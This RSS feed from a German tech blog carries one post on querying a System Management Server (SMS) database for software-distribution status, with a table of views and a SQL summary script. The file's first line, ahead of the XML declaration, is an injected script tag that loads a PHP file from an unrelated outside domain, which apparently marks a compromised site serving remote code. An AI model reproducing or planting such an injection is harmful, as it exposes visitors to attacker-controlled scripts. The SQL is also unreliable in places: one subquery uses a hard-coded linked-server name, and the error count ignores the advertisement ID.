<script src=http://soapstone-india.com/css/Soapstone-Serpentine.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; SMS</title>
	<atom:link href="http://www.xentrope.de/tag/sms/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>SQL/SMS : Zusammenfassung von Softwareverteilungen ermitteln</title>
		<link>http://www.xentrope.de/allgemein/sqlsms-zusammenfassung-von-softwareverteilungen-ermitteln/</link>
		<comments>http://www.xentrope.de/allgemein/sqlsms-zusammenfassung-von-softwareverteilungen-ermitteln/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 06:39:46 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SMS]]></category>
		<category><![CDATA[Software Distribution]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Status]]></category>
		<category><![CDATA[System Management Server]]></category>
		<category><![CDATA[Verteilung]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=120</guid>
		<description><![CDATA[Immer wieder möchte man mal eine kurze Übersicht über laufende Softwareverteilungen und deren Status haben. Wir arbeiten mit SMS, also ist das ja eigentlich kein Problem: In die SMS Datenbank eingeklinkt und beim Durchsehen der Tabellen und Views klappt man erstmal vom Stuhl. Wie soll man da was finden, wenn man nicht täglich damit zu [...]]]></description>
			<content:encoded><![CDATA[<p>Immer wieder möchte man mal eine kurze Übersicht über laufende Softwareverteilungen und deren Status haben. Wir arbeiten mit SMS, also ist das ja eigentlich kein Problem: In die SMS Datenbank eingeklinkt und beim Durchsehen der Tabellen und Views klappt man erstmal vom Stuhl. Wie soll man da was finden, wenn man nicht täglich damit zu tun hat?! Hier erstmal eine kurze Übersicht wo man die wichtigsten Sachen in den SMS Tabellen findet, diese Übersicht habe ich vor langer Zeit mal irgendwo im Netz gefunden und ein wenig erweitert:<br />
<table style="font-size:90%">
<th>Was</th>
<th>Wo</th>
<th>Spalte</th>
<tr>
<td>Collection IDs</td>
<td>dbo.v_FullCollectionMembership</td>
<td>CollectionID</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>Manufacturer0</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_COMPUTER_SYSTEM_PRODUCT</td>
<td>Vendor0</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_BASEBOARD</td>
<td>Manufacturer0</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_PC_BIOS</td>
<td>Manufacturer0</td>
</tr>
<tr>
<td>Computer Model</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>Model0</td>
</tr>
<tr>
<td>Computer Model</td>
<td>dbo.v_GS_COMPUTER_SYSTEM_PRODUCT</td>
<td>Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_R_System</td>
<td>Netbios_Name0, Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_RA_System_ResourceNames</td>
<td>Resource_Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_SYSTEM</td>
<td>Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_PROCESSOR</td>
<td>SystemName0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_MOTHERBOARD_DEVICE</td>
<td>SystemName0</td>
</tr>
<tr>
<td>IP Addresses</td>
<td>dbo.v_RA_System_IPAddresses</td>
<td>IP_Addresses0</td>
</tr>
<tr>
<td>Last Bootup Time</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>LastBootupTime0</td>
</tr>
<tr>
<td>Last HW Inventory</td>
<td>dbo.v_GS_WORKSTATION_STATUS</td>
<td>LastHWScan</td>
</tr>
<tr>
<td>MAC Addresses</td>
<td>dbo.v_RA_System_MACAddresses</td>
<td>MAC_Addresses0</td>
</tr>
<tr>
<td>OS Install Date</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>InstallDate0</td>
</tr>
<tr>
<td>OS Name</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>Caption0</td>
</tr>
<tr>
<td>OS Name And Version</td>
<td>dbo.v_R_System</td>
<td>Operating_System_Name_and0</td>
</tr>
<tr>
<td>OS Version</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>Version0</td>
</tr>
<tr>
<td>OU</td>
<td>dbo.v_RA_System_SystemOUName</td>
<td>System_OU_Name0</td>
</tr>
<tr>
<td>Serial/Identifying Number</td>
<td>dbo.v_GS_COMPUTER_SYSTEM_PRODUCT</td>
<td>IdentifyingNumber0</td>
</tr>
<tr>
<td>Serial/Identifying Number</td>
<td>dbo.v_GS_PC_BIOS</td>
<td>SerialNumber0</td>
</tr>
<tr>
<td>Serial/Identifying Number</td>
<td>dbo.v_GS_BASEBOARD</td>
<td>SerialNumber0</td>
</tr>
<tr>
<td>Site Code</td>
<td>dbo.v_RA_System_SMSAssignedSites</td>
<td>SMS_Assigned_Sites0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>UserName0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_R_System</td>
<td>User_Name0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_GS_SYSTEM_CONSOLE_USER</td>
<td>SystemConsoleUser0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_GS_SYSTEM_CONSOLE_USAGE</td>
<td>TopConsoleUser0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_LastLoggedOnUser</td>
<td>USERID0</td>
</tr>
</table>
<p>  Zurück zur Aufgabe: Wie bekommen wir nun eine Zusammenfassung der Verteilungsstati? Nun, wir benötigen dazu drei Angaben: Die Advertisement ID, die ToDo Collection ID sowie die Installed Collection ID. Mitglieder der ToDo Collection sind alle Clients, die für die jeweilige Verteilung noch anstehen. In der Installed Collection stehen alle Rechner, bei denen die Verteilung schon durchgelaufen ist und SMS keinen Fehler festgestellt hat. Mit folgendem SQL Skript kann man dann die benötigten Zahlen ermitteln, als Collection IDs sollte man dann natürlich eigene angeben.
<pre name='code' class='SQL'>
declare @AdvertisementId	varchar(8)
declare @TodoCollectionId	varchar(8)
declare @InstalledCollectionId	varchar(8) 

set @AdvertisementId		= ''
set @TodoCollectionId		= ''
set @InstalledCollectionId	= ''

select
	(select count(Name)
		from dbo.v_FullCollectionMembership
		where CollectionID = @InstalledCollectionId
	) 'Installed Clients',
	(select count(Name)
		from fthw9x8a.sms_rg1.dbo.v_FullCollectionMembership
		where CollectionID = @TodoCollectionId
	) 'ToDo Clients',
	(select count(Name)
		from dbo.v_fullcollectionmembership
		where collectionid in (@InstalledCollectionId,@TodoCollectionId)
	) 'Gesamtanzahl Clients',
	(select count(CAS.LastExecutionResult)
		from dbo.v_Advertisement ADV
			inner join dbo.v_ClientAdvertisementStatus CAS on ADV.AdvertisementID = CAS.AdvertisementID
		where CAS.LastExecutionResult is not null
			and collectionid in (@InstalledCollectionId,@TodoCollectionId)
	) 'Fehlerhafte Clients'
</pre>
<p>Und als Ergebnisse erhält man dann so etwas:</p>
<pre name='code' class='SQL'>
Installed Clients	ToDo Clients	Gesamtanzahl Clients	Fehlerhafte Clients
8783			29		8812			7
</pre>
<p>Damit kann man dann zum Beispiel weitere Berechnungen anstellen (z.B. Prozentwert der fehlerhaften Clients berechnen, oder auch ein Diagramm erstellen).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/sqlsms-zusammenfassung-von-softwareverteilungen-ermitteln/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
